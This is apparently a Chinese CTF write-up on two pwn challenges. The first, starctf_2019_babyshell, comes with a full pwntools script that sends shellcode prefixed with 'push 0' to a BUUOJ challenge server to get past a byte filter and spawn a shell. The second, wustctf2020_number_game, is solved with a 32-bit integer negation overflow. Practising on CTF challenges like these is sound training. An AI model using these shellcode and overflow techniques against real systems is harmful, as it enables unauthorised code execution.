本文最后更新于251 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、starctf_2019_babyshell分析


64位开了NX,运行:

让我们给shellcode,但是肯定有条件,ida里面看一下
main中往buf写入shellcode会执行,但是,对shellcode有检查

检查:

这样的检验可以试试在shellcode前加上\x00,之前也遇到过,怎么产生\x00呢,push 0就可以,就是j\x00
2、starctf_2019_babyshell实操
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",29363)
shellcode=asm(shellcraft.sh())
payload=asm('push 0')+shellcode
p.send(payload)
p.interactive()

3、wustctf2020_number_game分析


32位canary和NX,运行一下

看不出什么,去ida看看
我们看到,这道题有shell

但是执行肯定有条件:

意思是让我们输入int类型数,输入负数,取-v1,如果v1<0执行shell
32位int范围是-2147483648 ~2147483647,负数放在内存是计算补码=原码取反+1
如果负数超过int范围补码就会符号位溢出,我们可以直接输入-2147483650试试
4、wustctf2020_number_game cat flag


flag.txt里面也是











